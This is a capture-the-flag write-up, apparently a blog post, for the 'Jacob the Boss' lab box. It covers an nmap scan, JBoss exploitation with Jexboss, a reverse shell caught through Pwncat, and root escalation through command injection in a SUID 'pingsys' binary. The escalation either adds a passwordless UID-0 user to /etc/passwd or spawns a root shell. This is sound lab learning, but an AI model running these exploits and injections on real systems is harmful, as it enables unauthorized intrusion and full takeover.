I loved this box, simply because the privesc took me ages to work out and although it showed up in the enumeration, I had never used this method, so initially dismissed it. Ultimately I learned something new, which is always a great result for me.
So first, as stated in the room, add jacobthebox.box to your hosts file:
echo "jacobthe boss.box 10.10.189.130" >> /etc/hosts
You can either run the above as root or use sudo vi /etc/hosts from current user account if using Kali 2020.
What Ports Are Open:
Let’s start by running a a full port scan with nmap.
nmap -A -oN nmapscan 10.10.189.130
There is a lot of information here, but going through the ports, I will initially target what I believe are the obvious ones:
Port 22 — OpenSSH
Port 80 — Apache webserver
Port 8080 — Apache TomCat/Coyote JSP Engine
Port 8083 — JBoss service httpd
Web Server Port 80
So we have a blog page, the CMS system appears to be Dotclear
Using the Firefox Plugin Wappalyzer, we can find some initial information about the system:
The web server is running Apache 2.4.6, the operating system is CentOS and the programming language is PHP 7.3.20 and the site is also making use of jQuery 3.4.1 Javascript library.
I tried all possible ways to enumerate this site, Nikto, Gobuster, but I could find nothing. I did find the admin login page and tried a few obvious credentials,, but nothing worked. Time to move on and come back later if required.
JBoss Server Port 8080:
JBoss Application Server (JBoss AS) is basically an open-source, cross-platform Java application server. Luckily for us we can use a piece of software called Jexboss to see whether to check for vulnerabilities. Just as a side note, Jexboss can also be used to check for vulnerabilities in other Java Platforms, Frameworks and Applications etc.
We can run Jexboss against the target server and direct it to the JBoss vervice running on Port 8080:
sudo python jexboss.py -u jacobtheboss.box:8080
We can see that there are three areas that are vulnerable. Let’s continue using the 1st option (web-console)
Setting up our listener we can get a reverse shell/
Although this gives a stable shell, I prefer to use a Pwncat listener as it offers a whole host of additional features and functions. For this reason I will choose the second option and type ‘yes’ to run an automated exploitation via ‘jmx-console’:
Although for the life of me I cannot get the shell to do anything useful, it does allow me to use the jexremote command to catch a reverse shell on my Pwncat listener.
jexremote=IPADDRESS:PORT
And we have the user.txt.
Privesc Time:
So we have a foothold and are in the system as user jacob, now is time for further enumeration to see whether we can elevate our privileges further.
A quick sudo -l requires a password and this is something we do not have at this stage. We can also look at the /etc/passwd file to see if there are any other users:
Obviously we can see user jacob, but nothing else really stands out.
Using Pwncat for further enumeration and Privesc.
The beauty of Pwncat is that you can upload/download files, run enumeration and many other functions all within this handy application as seen below, simply by switching to the ‘local’ shell using ‘Ctrl-D’.
Let’s start by running the builtin enumeration script ‘enum’
To do this you simple switch to the ‘local’ shell using ‘Ctr-D’ and enter the following:
enum --show -a -r privesc.txt
This will create the privesc.txt report on our local machine from the directory where we ran the Pwncat listener.
We can also run the privesc module by using the following commands, which will search for potential privesc vectors:
privesc -l
Unfortunately, there is nothing that really stands out here, so back to the enumeration script and the privesc.txt results we compiled earlier using the Pwncat enum module.
The first thing I always spend a considerable amount of time checking is SUID files to see whether there are any vulnerabilities that can be exploited. Usually I will check each of these using GFTOBin.
I spent a long time playing with crontab, but got nowhere. Also tried searching through all the SUID binaries using GTFOBins, the go to site fore Unix exploitable binaries:
From the enumeration, there was also a reference to sudo version 1.8.23 being vulnerable:
Again, without a password for jacob, I cannot use sudo anyway.
I really struggled at this point and spent some time Googling those binaries that did not show up on GTFOBins and got lucky with pingsys, thanks to a post on Stack Exchange.
PINGSYS:
By using pingsys with the SUID set, we can run commands as root or even spawn a root shell.
Option 1: Lets add a new root user to /etc/passwd:
In this command below, “0” is the UID of the root user, so adding a user with the UID of “0” will give that user root privileges. This user will have the username of “garth” and an empty password:
/usr/bin/pingsys ‘10.10.244.174; echo garth::0:0:System Administrator:/root/root:/bin/bash >> /etc/passwd’
Option 2: Spawn a root shell
/usr/bin/pingsys ‘10.10.244.174; /bin/bash’
From here we can simply read the root.txt file and we are done.
A big thank you to waldir for this box and for helping me learn privesc method I was not familiar with.
